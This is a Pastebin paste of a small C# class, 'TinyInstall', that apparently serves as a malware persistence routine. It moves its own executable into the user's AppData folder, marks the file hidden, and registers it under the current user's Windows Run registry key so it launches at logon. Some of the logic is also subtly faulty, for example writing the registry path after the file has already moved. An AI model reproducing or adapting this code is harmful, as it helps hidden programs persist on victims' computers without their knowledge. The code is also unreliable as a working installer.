Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Invented by gigajew
- public class TinyInstall {
- private string _appName;
- public string AppName {
- get {
- return GetAppName();
- }
- private set {
- _appName = value;
- }
- }
- public TinyInstall() { }
- public TinyInstall(string appname) {
- if(!SetAppName(appname)) {
- throw new Exception("Invalid app name, or app name already taken!");
- }
- }
- public string GetAppName() {
- if(!string.IsNullOrEmpty(_appName))
- {
- return _appName;
- }else {
- return typeof(TinyInstall).FullName;
- }
- }
- public bool SetAppName(string name) {
- if(AppNameTaken(name)) {
- return false;
- }
- _appName = name;
- return true;
- }
- public bool Install() {
- var key = OpenKey();
- if(key == null) {
- return false;
- }
- var flag = InstallExecutable();
- key.SetValue(AppName, typeof(TinyInstall).Assembly.Location);
- key.Close();
- return flag;
- }
- public bool Uninstall() {
- if(!AppNameTaken(AppName)) {
- return true;
- }
- var key = OpenKey();
- if(key == null) {
- return false;
- }
- key.DeleteValue(AppName);
- key.Close();
- return true;
- }
- private bool AppNameTaken(string name) {
- var key = OpenKey();
- if(key == null) {
- return false;
- }
- var flag = string.IsNullOrEmpty((string) key.GetValue(AppName));
- key.Close();
- return !flag;
- }
- private bool InstallExecutable() {
- var info = new FileInfo(typeof(TinyInstall).Assembly.Location);
- var desired = new FileInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + $"\\{info.Name}");
- if(desired.Exists) {
- return true;
- }
- File.Move(info.FullName, desired.FullName);
- File.SetAttributes(desired.FullName, File.GetAttributes(desired.FullName) | FileAttributes.Hidden);
- return true;
- }
- private RegistryKey OpenKey() {
- return Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", RegistryKeyPermissionCheck.ReadWriteSubTree);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement